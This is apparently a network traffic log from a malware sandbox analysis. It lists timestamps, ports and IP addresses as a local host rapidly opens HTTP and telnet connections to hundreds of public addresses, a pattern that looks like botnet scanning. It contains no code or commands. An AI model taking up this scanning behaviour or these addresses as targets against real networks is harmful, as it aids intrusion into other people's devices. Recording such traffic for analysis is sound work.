Dec 3, 2024 21:02:02.772012949 CET	80	20129	190.72.224.255	192.168.2.23
Dec 3, 2024 21:02:02.772012949 CET	20129	80	192.168.2.23	72.156.95.79
Dec 3, 2024 21:02:02.772017956 CET	20129	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:02.772018909 CET	20129	80	192.168.2.23	182.202.139.121
Dec 3, 2024 21:02:02.772028923 CET	80	20129	110.168.236.82	192.168.2.23
Dec 3, 2024 21:02:02.772042036 CET	80	20129	80.226.46.63	192.168.2.23
Dec 3, 2024 21:02:02.772047043 CET	20129	80	192.168.2.23	190.72.224.255
Dec 3, 2024 21:02:02.772072077 CET	20129	80	192.168.2.23	80.226.46.63
Dec 3, 2024 21:02:02.772083044 CET	20129	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:02.797748089 CET	80	56576	174.173.230.7	192.168.2.23
Dec 3, 2024 21:02:02.797832012 CET	80	59680	89.149.14.97	192.168.2.23
Dec 3, 2024 21:02:02.797842026 CET	80	49250	190.79.16.71	192.168.2.23
Dec 3, 2024 21:02:02.797854900 CET	56576	80	192.168.2.23	174.173.230.7
Dec 3, 2024 21:02:02.797884941 CET	59680	80	192.168.2.23	89.149.14.97
Dec 3, 2024 21:02:02.797899961 CET	49250	80	192.168.2.23	190.79.16.71
Dec 3, 2024 21:02:02.797914982 CET	56576	80	192.168.2.23	174.173.230.7
Dec 3, 2024 21:02:02.798346996 CET	33108	80	192.168.2.23	180.213.220.136
Dec 3, 2024 21:02:02.798907995 CET	52796	80	192.168.2.23	95.151.233.29
Dec 3, 2024 21:02:02.798911095 CET	23	41524	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:02.799482107 CET	49062	80	192.168.2.23	66.239.105.236
Dec 3, 2024 21:02:02.800065041 CET	41634	80	192.168.2.23	72.156.95.79
Dec 3, 2024 21:02:02.800641060 CET	57978	80	192.168.2.23	182.202.139.121
Dec 3, 2024 21:02:02.801191092 CET	55652	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:02.801719904 CET	42036	80	192.168.2.23	190.72.224.255
Dec 3, 2024 21:02:02.802264929 CET	45102	80	192.168.2.23	80.226.46.63
Dec 3, 2024 21:02:02.802798986 CET	50184	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:02.803178072 CET	59680	80	192.168.2.23	89.149.14.97
Dec 3, 2024 21:02:02.803184986 CET	49250	80	192.168.2.23	190.79.16.71
Dec 3, 2024 21:02:02.805450916 CET	53048	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:02:02.808096886 CET	23	60778	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:02.808247089 CET	60778	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:02.808546066 CET	60836	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:02.810616016 CET	23	50304	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:02.810833931 CET	23	50342	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:02.810873985 CET	50342	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:02.819140911 CET	23	50102	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:02.819380999 CET	23	50140	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:02.819427013 CET	50140	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:02.821681023 CET	23	51066	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:02.821741104 CET	51066	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:02.822014093 CET	51320	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:02.833652020 CET	23	37204	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:02.833828926 CET	37204	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:02.834136963 CET	37264	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:02.834173918 CET	23	47036	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:02.834522963 CET	47036	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:02.834796906 CET	47096	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:02.835951090 CET	23	54042	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:02.836175919 CET	23	54080	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:02.836216927 CET	54080	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:02.841676950 CET	23	38924	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:02.841739893 CET	38924	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:02.842103958 CET	38984	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:02.851913929 CET	23	37002	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:02.852232933 CET	23	37040	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:02.852293015 CET	37040	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:02.852516890 CET	23	60098	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:02.852725983 CET	23	60136	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:02.852777958 CET	60136	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.872857094 CET	23	46370	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:02.873089075 CET	23	46408	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:02.873152018 CET	46408	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.873490095 CET	23	34538	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:02.873547077 CET	34538	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:02.873874903 CET	34598	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:02.879034996 CET	23	47640	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:02.879261971 CET	23	47678	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:02.879301071 CET	47678	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:02.879554033 CET	23	59936	96.252.143.108	192.168.2.23
Dec 3, 2024 21:02:02.880027056 CET	23	60528	96.252.143.108	192.168.2.23
Dec 3, 2024 21:02:02.880089998 CET	60528	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:02:02.880142927 CET	23	44136	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:02.882280111 CET	23	39306	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:02.882340908 CET	39306	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:02.882631063 CET	39366	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:02.901441097 CET	42836	443	192.168.2.23	91.189.91.43
Dec 3, 2024 21:02:02.918056011 CET	80	56576	174.173.230.7	192.168.2.23
Dec 3, 2024 21:02:02.918102980 CET	56576	80	192.168.2.23	174.173.230.7
Dec 3, 2024 21:02:02.918195009 CET	80	59680	89.149.14.97	192.168.2.23
Dec 3, 2024 21:02:02.918212891 CET	80	33108	180.213.220.136	192.168.2.23
Dec 3, 2024 21:02:02.918232918 CET	59680	80	192.168.2.23	89.149.14.97
Dec 3, 2024 21:02:02.918247938 CET	33108	80	192.168.2.23	180.213.220.136
Dec 3, 2024 21:02:02.918313026 CET	80	49250	190.79.16.71	192.168.2.23
Dec 3, 2024 21:02:02.918351889 CET	49250	80	192.168.2.23	190.79.16.71
Dec 3, 2024 21:02:02.918370008 CET	33108	80	192.168.2.23	180.213.220.136
Dec 3, 2024 21:02:02.918382883 CET	33108	80	192.168.2.23	180.213.220.136
Dec 3, 2024 21:02:02.918690920 CET	33140	80	192.168.2.23	180.213.220.136
Dec 3, 2024 21:02:02.918873072 CET	80	52796	95.151.233.29	192.168.2.23
Dec 3, 2024 21:02:02.918910980 CET	52796	80	192.168.2.23	95.151.233.29
Dec 3, 2024 21:02:02.919035912 CET	52796	80	192.168.2.23	95.151.233.29
Dec 3, 2024 21:02:02.919035912 CET	52796	80	192.168.2.23	95.151.233.29
Dec 3, 2024 21:02:02.919326067 CET	52828	80	192.168.2.23	95.151.233.29
Dec 3, 2024 21:02:02.919373035 CET	80	49062	66.239.105.236	192.168.2.23
Dec 3, 2024 21:02:02.919406891 CET	49062	80	192.168.2.23	66.239.105.236
Dec 3, 2024 21:02:02.919680119 CET	49062	80	192.168.2.23	66.239.105.236
Dec 3, 2024 21:02:02.919692993 CET	49062	80	192.168.2.23	66.239.105.236
Dec 3, 2024 21:02:02.919923067 CET	80	41634	72.156.95.79	192.168.2.23
Dec 3, 2024 21:02:02.919945002 CET	49094	80	192.168.2.23	66.239.105.236
Dec 3, 2024 21:02:02.919951916 CET	41634	80	192.168.2.23	72.156.95.79
Dec 3, 2024 21:02:02.920309067 CET	41634	80	192.168.2.23	72.156.95.79
Dec 3, 2024 21:02:02.920320034 CET	41634	80	192.168.2.23	72.156.95.79
Dec 3, 2024 21:02:02.920555115 CET	41666	80	192.168.2.23	72.156.95.79
Dec 3, 2024 21:02:02.923752069 CET	80	59680	89.149.14.97	192.168.2.23
Dec 3, 2024 21:02:02.923764944 CET	80	49250	190.79.16.71	192.168.2.23
Dec 3, 2024 21:02:02.928185940 CET	23	60778	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:02.928457975 CET	23	60836	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:02.928530931 CET	60836	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:02.931159019 CET	23	50342	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:02.931220055 CET	50342	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:02.931546926 CET	50400	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:02.940220118 CET	23	50140	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:02.940304995 CET	50140	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:02.940602064 CET	50198	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:02.941936970 CET	23	51066	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:02.942094088 CET	23	51320	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:02.942138910 CET	51320	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:02.954896927 CET	23	37204	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:02.955149889 CET	23	37264	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:02.955210924 CET	37264	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:02.955245018 CET	19873	23	192.168.2.23	205.167.125.147
Dec 3, 2024 21:02:02.955245018 CET	19873	23	192.168.2.23	216.74.153.9
Dec 3, 2024 21:02:02.955252886 CET	19873	23	192.168.2.23	209.234.170.61
Dec 3, 2024 21:02:02.955255985 CET	19873	23	192.168.2.23	4.75.153.19
Dec 3, 2024 21:02:02.955266953 CET	19873	23	192.168.2.23	27.182.194.127
Dec 3, 2024 21:02:02.955271006 CET	19873	23	192.168.2.23	174.58.72.205
Dec 3, 2024 21:02:02.955276012 CET	19873	23	192.168.2.23	17.100.151.126
Dec 3, 2024 21:02:02.955279112 CET	19873	23	192.168.2.23	168.250.225.188
Dec 3, 2024 21:02:02.955285072 CET	19873	23	192.168.2.23	164.206.19.235
Dec 3, 2024 21:02:02.955293894 CET	19873	23	192.168.2.23	120.182.148.65
Dec 3, 2024 21:02:02.955303907 CET	19873	23	192.168.2.23	124.138.95.67
Dec 3, 2024 21:02:02.955306053 CET	19873	23	192.168.2.23	85.146.213.204
Dec 3, 2024 21:02:02.955321074 CET	19873	23	192.168.2.23	135.105.91.37
Dec 3, 2024 21:02:02.955321074 CET	19873	23	192.168.2.23	104.45.198.219
Dec 3, 2024 21:02:02.955326080 CET	19873	23	192.168.2.23	84.2.251.255
Dec 3, 2024 21:02:02.955334902 CET	19873	23	192.168.2.23	152.145.215.164
Dec 3, 2024 21:02:02.955336094 CET	19873	23	192.168.2.23	134.203.35.220
Dec 3, 2024 21:02:02.955352068 CET	19873	23	192.168.2.23	48.76.90.145
Dec 3, 2024 21:02:02.955353022 CET	19873	23	192.168.2.23	103.192.12.108
Dec 3, 2024 21:02:02.955358028 CET	19873	23	192.168.2.23	192.119.224.149
Dec 3, 2024 21:02:02.955373049 CET	19873	23	192.168.2.23	17.20.77.130
Dec 3, 2024 21:02:02.955373049 CET	19873	23	192.168.2.23	161.168.6.246
Dec 3, 2024 21:02:02.955373049 CET	19873	23	192.168.2.23	213.23.187.6
Dec 3, 2024 21:02:02.955380917 CET	19873	23	192.168.2.23	120.243.143.85
Dec 3, 2024 21:02:02.955387115 CET	19873	23	192.168.2.23	52.41.18.146
Dec 3, 2024 21:02:02.955388069 CET	19873	23	192.168.2.23	168.4.146.145
Dec 3, 2024 21:02:02.955394983 CET	19873	23	192.168.2.23	95.69.51.67
Dec 3, 2024 21:02:02.955405951 CET	19873	23	192.168.2.23	86.162.84.152
Dec 3, 2024 21:02:02.955408096 CET	19873	23	192.168.2.23	18.223.137.46
Dec 3, 2024 21:02:02.955414057 CET	19873	23	192.168.2.23	37.102.199.87
Dec 3, 2024 21:02:02.955423117 CET	19873	23	192.168.2.23	41.215.165.238
Dec 3, 2024 21:02:02.955425024 CET	19873	23	192.168.2.23	68.234.164.188
Dec 3, 2024 21:02:02.955425024 CET	19873	23	192.168.2.23	152.105.191.249
Dec 3, 2024 21:02:02.955426931 CET	19873	23	192.168.2.23	125.38.143.64
Dec 3, 2024 21:02:02.955440044 CET	19873	23	192.168.2.23	118.142.83.100
Dec 3, 2024 21:02:02.955441952 CET	19873	23	192.168.2.23	87.114.243.150
Dec 3, 2024 21:02:02.955455065 CET	19873	23	192.168.2.23	206.68.61.30
Dec 3, 2024 21:02:02.955457926 CET	19873	23	192.168.2.23	186.55.139.192
Dec 3, 2024 21:02:02.955466032 CET	19873	23	192.168.2.23	119.244.157.211
Dec 3, 2024 21:02:02.955468893 CET	19873	23	192.168.2.23	109.76.146.197
Dec 3, 2024 21:02:02.955471992 CET	19873	23	192.168.2.23	1.210.226.237
Dec 3, 2024 21:02:02.955473900 CET	23	47036	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:02.955478907 CET	19873	23	192.168.2.23	210.97.12.171
Dec 3, 2024 21:02:02.955483913 CET	19873	23	192.168.2.23	87.229.199.90
Dec 3, 2024 21:02:02.955497026 CET	19873	23	192.168.2.23	195.15.39.22
Dec 3, 2024 21:02:02.955499887 CET	19873	23	192.168.2.23	221.195.25.137
Dec 3, 2024 21:02:02.955499887 CET	19873	23	192.168.2.23	54.189.76.58
Dec 3, 2024 21:02:02.955513000 CET	19873	23	192.168.2.23	146.33.229.100
Dec 3, 2024 21:02:02.955514908 CET	19873	23	192.168.2.23	166.1.178.9
Dec 3, 2024 21:02:02.955532074 CET	19873	23	192.168.2.23	147.2.19.250
Dec 3, 2024 21:02:02.955532074 CET	19873	23	192.168.2.23	73.230.148.104
Dec 3, 2024 21:02:02.955547094 CET	19873	23	192.168.2.23	193.211.41.7
Dec 3, 2024 21:02:02.955547094 CET	19873	23	192.168.2.23	180.228.39.170
Dec 3, 2024 21:02:02.955547094 CET	19873	23	192.168.2.23	110.157.129.228
Dec 3, 2024 21:02:02.955549002 CET	19873	23	192.168.2.23	31.160.77.99
Dec 3, 2024 21:02:02.955562115 CET	19873	23	192.168.2.23	58.72.196.217
Dec 3, 2024 21:02:02.955564976 CET	19873	23	192.168.2.23	57.150.201.28
Dec 3, 2024 21:02:02.955565929 CET	19873	23	192.168.2.23	54.26.189.246
Dec 3, 2024 21:02:02.955565929 CET	19873	23	192.168.2.23	165.76.206.10
Dec 3, 2024 21:02:02.955575943 CET	19873	23	192.168.2.23	121.89.160.23
Dec 3, 2024 21:02:02.955578089 CET	19873	23	192.168.2.23	48.152.108.159
Dec 3, 2024 21:02:02.955590963 CET	19873	23	192.168.2.23	84.112.141.104
Dec 3, 2024 21:02:02.955591917 CET	19873	23	192.168.2.23	206.254.72.121
Dec 3, 2024 21:02:02.955591917 CET	19873	23	192.168.2.23	41.41.170.138
Dec 3, 2024 21:02:02.955602884 CET	19873	23	192.168.2.23	189.215.1.251
Dec 3, 2024 21:02:02.955609083 CET	19873	23	192.168.2.23	12.114.70.129
Dec 3, 2024 21:02:02.955611944 CET	19873	23	192.168.2.23	92.224.239.133
Dec 3, 2024 21:02:02.955615044 CET	19873	23	192.168.2.23	181.85.119.60
Dec 3, 2024 21:02:02.955626011 CET	19873	23	192.168.2.23	17.76.55.75
Dec 3, 2024 21:02:02.955629110 CET	19873	23	192.168.2.23	184.177.105.223
Dec 3, 2024 21:02:02.955631018 CET	19873	23	192.168.2.23	126.80.224.154
Dec 3, 2024 21:02:02.955645084 CET	19873	23	192.168.2.23	75.212.213.160
Dec 3, 2024 21:02:02.955648899 CET	19873	23	192.168.2.23	20.28.188.88
Dec 3, 2024 21:02:02.955652952 CET	19873	23	192.168.2.23	46.25.84.34
Dec 3, 2024 21:02:02.955653906 CET	19873	23	192.168.2.23	23.215.128.57
Dec 3, 2024 21:02:02.955661058 CET	19873	23	192.168.2.23	155.221.63.163
Dec 3, 2024 21:02:02.955666065 CET	19873	23	192.168.2.23	203.232.68.89
Dec 3, 2024 21:02:02.955677032 CET	19873	23	192.168.2.23	62.113.33.198
Dec 3, 2024 21:02:02.955677986 CET	19873	23	192.168.2.23	151.114.17.37
Dec 3, 2024 21:02:02.955679893 CET	19873	23	192.168.2.23	195.229.189.115
Dec 3, 2024 21:02:02.955684900 CET	19873	23	192.168.2.23	222.56.84.151
Dec 3, 2024 21:02:02.955698013 CET	19873	23	192.168.2.23	87.140.41.28
Dec 3, 2024 21:02:02.955698013 CET	19873	23	192.168.2.23	95.134.84.66
Dec 3, 2024 21:02:02.955698967 CET	19873	23	192.168.2.23	43.192.77.165
Dec 3, 2024 21:02:02.955701113 CET	19873	23	192.168.2.23	157.52.64.241
Dec 3, 2024 21:02:02.955713987 CET	19873	23	192.168.2.23	65.193.70.163
Dec 3, 2024 21:02:02.955718040 CET	19873	23	192.168.2.23	165.230.17.41
Dec 3, 2024 21:02:02.955722094 CET	19873	23	192.168.2.23	96.123.147.237
Dec 3, 2024 21:02:02.955727100 CET	19873	23	192.168.2.23	202.99.22.180
Dec 3, 2024 21:02:02.955740929 CET	19873	23	192.168.2.23	120.97.183.69
Dec 3, 2024 21:02:02.955741882 CET	19873	23	192.168.2.23	138.114.11.133
Dec 3, 2024 21:02:02.955749035 CET	19873	23	192.168.2.23	138.46.203.66
Dec 3, 2024 21:02:02.955749035 CET	19873	23	192.168.2.23	222.170.234.129
Dec 3, 2024 21:02:02.955749989 CET	19873	23	192.168.2.23	63.82.234.111
Dec 3, 2024 21:02:02.955749989 CET	19873	23	192.168.2.23	97.14.224.146
Dec 3, 2024 21:02:02.955758095 CET	19873	23	192.168.2.23	106.195.89.77
Dec 3, 2024 21:02:02.955766916 CET	19873	23	192.168.2.23	185.221.46.195
Dec 3, 2024 21:02:02.955769062 CET	19873	23	192.168.2.23	40.134.13.105
Dec 3, 2024 21:02:02.955779076 CET	19873	23	192.168.2.23	169.176.226.38
Dec 3, 2024 21:02:02.955780983 CET	19873	23	192.168.2.23	80.63.173.27
Dec 3, 2024 21:02:02.955782890 CET	19873	23	192.168.2.23	186.93.254.24
Dec 3, 2024 21:02:02.955796003 CET	19873	23	192.168.2.23	156.163.196.210
Dec 3, 2024 21:02:02.955796003 CET	19873	23	192.168.2.23	191.147.214.69
Dec 3, 2024 21:02:02.955804110 CET	19873	23	192.168.2.23	126.32.73.24
Dec 3, 2024 21:02:02.955813885 CET	19873	23	192.168.2.23	80.134.200.62
Dec 3, 2024 21:02:02.955813885 CET	19873	23	192.168.2.23	44.157.93.181
Dec 3, 2024 21:02:02.955815077 CET	19873	23	192.168.2.23	165.12.14.149
Dec 3, 2024 21:02:02.955815077 CET	19873	23	192.168.2.23	188.138.169.24
Dec 3, 2024 21:02:02.955821991 CET	19873	23	192.168.2.23	205.205.89.101
Dec 3, 2024 21:02:02.955835104 CET	19873	23	192.168.2.23	45.66.97.209
Dec 3, 2024 21:02:02.955837011 CET	19873	23	192.168.2.23	82.170.136.86
Dec 3, 2024 21:02:02.955837965 CET	19873	23	192.168.2.23	193.88.109.193
Dec 3, 2024 21:02:02.955837965 CET	19873	23	192.168.2.23	177.20.75.158
Dec 3, 2024 21:02:02.955838919 CET	19873	23	192.168.2.23	99.28.31.194
Dec 3, 2024 21:02:02.955841064 CET	19873	23	192.168.2.23	43.197.90.110
Dec 3, 2024 21:02:02.955845118 CET	19873	23	192.168.2.23	175.97.185.239
Dec 3, 2024 21:02:02.955853939 CET	19873	23	192.168.2.23	88.8.45.106
Dec 3, 2024 21:02:02.955857038 CET	19873	23	192.168.2.23	27.127.240.103
Dec 3, 2024 21:02:02.955858946 CET	19873	23	192.168.2.23	43.95.161.19
Dec 3, 2024 21:02:02.955868006 CET	19873	23	192.168.2.23	12.147.44.205
Dec 3, 2024 21:02:02.955872059 CET	19873	23	192.168.2.23	52.71.76.214
Dec 3, 2024 21:02:02.955876112 CET	19873	23	192.168.2.23	118.252.116.82
Dec 3, 2024 21:02:02.955885887 CET	19873	23	192.168.2.23	18.45.106.217
Dec 3, 2024 21:02:02.955885887 CET	19873	23	192.168.2.23	129.174.234.80
Dec 3, 2024 21:02:02.955897093 CET	19873	23	192.168.2.23	66.182.191.149
Dec 3, 2024 21:02:02.955902100 CET	19873	23	192.168.2.23	146.35.66.118
Dec 3, 2024 21:02:02.955908060 CET	19873	23	192.168.2.23	213.171.245.171
Dec 3, 2024 21:02:02.955908060 CET	19873	23	192.168.2.23	38.67.0.119
Dec 3, 2024 21:02:02.955918074 CET	19873	23	192.168.2.23	209.177.188.50
Dec 3, 2024 21:02:02.955920935 CET	19873	23	192.168.2.23	152.53.84.154
Dec 3, 2024 21:02:02.955923080 CET	19873	23	192.168.2.23	72.243.224.241
Dec 3, 2024 21:02:02.955935001 CET	19873	23	192.168.2.23	189.192.39.231
Dec 3, 2024 21:02:02.955935955 CET	19873	23	192.168.2.23	221.231.19.59
Dec 3, 2024 21:02:02.955939054 CET	19873	23	192.168.2.23	49.27.174.171
Dec 3, 2024 21:02:02.955954075 CET	19873	23	192.168.2.23	23.20.226.170
Dec 3, 2024 21:02:02.955954075 CET	19873	23	192.168.2.23	39.203.183.154
Dec 3, 2024 21:02:02.955960035 CET	19873	23	192.168.2.23	164.193.190.202
Dec 3, 2024 21:02:02.955960035 CET	19873	23	192.168.2.23	210.212.166.184
Dec 3, 2024 21:02:02.955975056 CET	19873	23	192.168.2.23	183.51.203.39
Dec 3, 2024 21:02:02.955977917 CET	19873	23	192.168.2.23	150.143.115.122
Dec 3, 2024 21:02:02.955977917 CET	19873	23	192.168.2.23	82.96.215.172
Dec 3, 2024 21:02:02.955979109 CET	19873	23	192.168.2.23	126.51.215.145
Dec 3, 2024 21:02:02.955988884 CET	19873	23	192.168.2.23	161.4.30.47
Dec 3, 2024 21:02:02.955991030 CET	19873	23	192.168.2.23	87.184.147.121
Dec 3, 2024 21:02:02.956001043 CET	19873	23	192.168.2.23	191.186.203.204
Dec 3, 2024 21:02:02.956001997 CET	19873	23	192.168.2.23	163.125.248.52
Dec 3, 2024 21:02:02.956008911 CET	19873	23	192.168.2.23	40.56.223.165
Dec 3, 2024 21:02:02.956018925 CET	19873	23	192.168.2.23	203.209.248.0
Dec 3, 2024 21:02:02.956023932 CET	19873	23	192.168.2.23	139.147.54.79
Dec 3, 2024 21:02:02.956034899 CET	19873	23	192.168.2.23	89.159.33.193
Dec 3, 2024 21:02:02.956037998 CET	19873	23	192.168.2.23	59.126.255.179
Dec 3, 2024 21:02:02.956038952 CET	19873	23	192.168.2.23	60.8.95.128
Dec 3, 2024 21:02:02.956052065 CET	19873	23	192.168.2.23	132.104.78.240
Dec 3, 2024 21:02:02.956052065 CET	19873	23	192.168.2.23	148.88.66.119
Dec 3, 2024 21:02:02.956054926 CET	19873	23	192.168.2.23	148.242.5.249
Dec 3, 2024 21:02:02.956063986 CET	19873	23	192.168.2.23	166.137.66.222
Dec 3, 2024 21:02:02.956068039 CET	19873	23	192.168.2.23	220.165.199.164
Dec 3, 2024 21:02:02.956069946 CET	19873	23	192.168.2.23	223.80.161.171
Dec 3, 2024 21:02:02.956083059 CET	19873	23	192.168.2.23	173.127.240.201
Dec 3, 2024 21:02:02.956089020 CET	19873	23	192.168.2.23	44.115.196.20
Dec 3, 2024 21:02:02.956089973 CET	19873	23	192.168.2.23	139.84.13.134
Dec 3, 2024 21:02:02.956090927 CET	19873	23	192.168.2.23	161.5.83.213
Dec 3, 2024 21:02:02.956094027 CET	19873	23	192.168.2.23	216.87.44.80
Dec 3, 2024 21:02:02.956098080 CET	19873	23	192.168.2.23	189.129.0.34
Dec 3, 2024 21:02:02.956100941 CET	19873	23	192.168.2.23	103.13.25.71
Dec 3, 2024 21:02:02.956114054 CET	19873	23	192.168.2.23	144.81.178.180
Dec 3, 2024 21:02:02.956116915 CET	19873	23	192.168.2.23	5.114.127.134
Dec 3, 2024 21:02:02.956126928 CET	19873	23	192.168.2.23	106.234.193.158
Dec 3, 2024 21:02:02.956125975 CET	19873	23	192.168.2.23	198.124.98.201
Dec 3, 2024 21:02:02.956130981 CET	19873	23	192.168.2.23	13.4.153.209
Dec 3, 2024 21:02:02.956134081 CET	19873	23	192.168.2.23	170.0.62.137
Dec 3, 2024 21:02:02.956136942 CET	19873	23	192.168.2.23	41.233.247.131
Dec 3, 2024 21:02:02.956149101 CET	19873	23	192.168.2.23	43.98.180.97
Dec 3, 2024 21:02:02.956152916 CET	19873	23	192.168.2.23	157.52.134.81
Dec 3, 2024 21:02:02.956154108 CET	19873	23	192.168.2.23	48.108.233.59
Dec 3, 2024 21:02:02.956159115 CET	19873	23	192.168.2.23	90.113.211.125
Dec 3, 2024 21:02:02.956176043 CET	19873	23	192.168.2.23	4.139.33.131
Dec 3, 2024 21:02:02.956176043 CET	19873	23	192.168.2.23	107.255.65.48
Dec 3, 2024 21:02:02.956176996 CET	19873	23	192.168.2.23	52.227.93.112
Dec 3, 2024 21:02:02.956176996 CET	19873	23	192.168.2.23	196.98.196.55
Dec 3, 2024 21:02:02.956177950 CET	19873	23	192.168.2.23	130.211.64.103
Dec 3, 2024 21:02:02.956177950 CET	19873	23	192.168.2.23	91.111.72.118
Dec 3, 2024 21:02:02.956181049 CET	19873	23	192.168.2.23	27.8.208.255
Dec 3, 2024 21:02:02.956185102 CET	19873	23	192.168.2.23	161.243.187.145
Dec 3, 2024 21:02:02.956188917 CET	19873	23	192.168.2.23	37.61.158.184
Dec 3, 2024 21:02:02.956191063 CET	19873	23	192.168.2.23	208.87.216.14
Dec 3, 2024 21:02:02.956197023 CET	19873	23	192.168.2.23	128.50.23.152
Dec 3, 2024 21:02:02.956197023 CET	19873	23	192.168.2.23	105.68.149.96
Dec 3, 2024 21:02:02.956204891 CET	19873	23	192.168.2.23	61.149.47.208
Dec 3, 2024 21:02:02.956207037 CET	19873	23	192.168.2.23	212.245.19.222
Dec 3, 2024 21:02:02.956223011 CET	19873	23	192.168.2.23	37.137.32.104
Dec 3, 2024 21:02:02.956223011 CET	19873	23	192.168.2.23	92.124.118.147
Dec 3, 2024 21:02:02.956223965 CET	19873	23	192.168.2.23	113.22.14.127
Dec 3, 2024 21:02:02.956223965 CET	19873	23	192.168.2.23	76.145.137.241
Dec 3, 2024 21:02:02.956226110 CET	19873	23	192.168.2.23	157.201.65.53
Dec 3, 2024 21:02:02.956233978 CET	19873	23	192.168.2.23	44.165.121.189
Dec 3, 2024 21:02:02.956233978 CET	19873	23	192.168.2.23	83.162.84.61
Dec 3, 2024 21:02:02.956242085 CET	19873	23	192.168.2.23	87.217.39.169
Dec 3, 2024 21:02:02.956243038 CET	19873	23	192.168.2.23	176.94.166.55
Dec 3, 2024 21:02:02.956245899 CET	19873	23	192.168.2.23	93.31.222.194
Dec 3, 2024 21:02:02.956259966 CET	19873	23	192.168.2.23	160.20.183.7
Dec 3, 2024 21:02:02.956263065 CET	19873	23	192.168.2.23	57.147.252.182
Dec 3, 2024 21:02:02.956263065 CET	19873	23	192.168.2.23	123.21.205.43
Dec 3, 2024 21:02:02.956264973 CET	19873	23	192.168.2.23	126.8.244.192
Dec 3, 2024 21:02:02.956276894 CET	19873	23	192.168.2.23	41.21.253.252
Dec 3, 2024 21:02:02.956276894 CET	19873	23	192.168.2.23	2.244.142.75
Dec 3, 2024 21:02:02.956279039 CET	19873	23	192.168.2.23	126.80.107.54
Dec 3, 2024 21:02:02.956279039 CET	19873	23	192.168.2.23	218.69.123.113
Dec 3, 2024 21:02:02.956290007 CET	19873	23	192.168.2.23	23.210.114.228
Dec 3, 2024 21:02:02.956296921 CET	19873	23	192.168.2.23	189.180.181.60
Dec 3, 2024 21:02:02.956298113 CET	19873	23	192.168.2.23	101.104.185.206
Dec 3, 2024 21:02:02.956311941 CET	19873	23	192.168.2.23	70.248.152.216
Dec 3, 2024 21:02:02.956311941 CET	19873	23	192.168.2.23	36.144.177.128
Dec 3, 2024 21:02:02.956312895 CET	19873	23	192.168.2.23	68.23.100.179
Dec 3, 2024 21:02:02.956314087 CET	19873	23	192.168.2.23	86.143.147.55
Dec 3, 2024 21:02:02.956319094 CET	19873	23	192.168.2.23	173.1.43.233
Dec 3, 2024 21:02:02.956317902 CET	19873	23	192.168.2.23	152.242.50.223
Dec 3, 2024 21:02:02.956327915 CET	19873	23	192.168.2.23	98.80.86.212
Dec 3, 2024 21:02:02.956329107 CET	19873	23	192.168.2.23	113.199.165.203
Dec 3, 2024 21:02:02.956340075 CET	19873	23	192.168.2.23	24.248.165.239
Dec 3, 2024 21:02:02.956347942 CET	19873	23	192.168.2.23	209.191.105.202
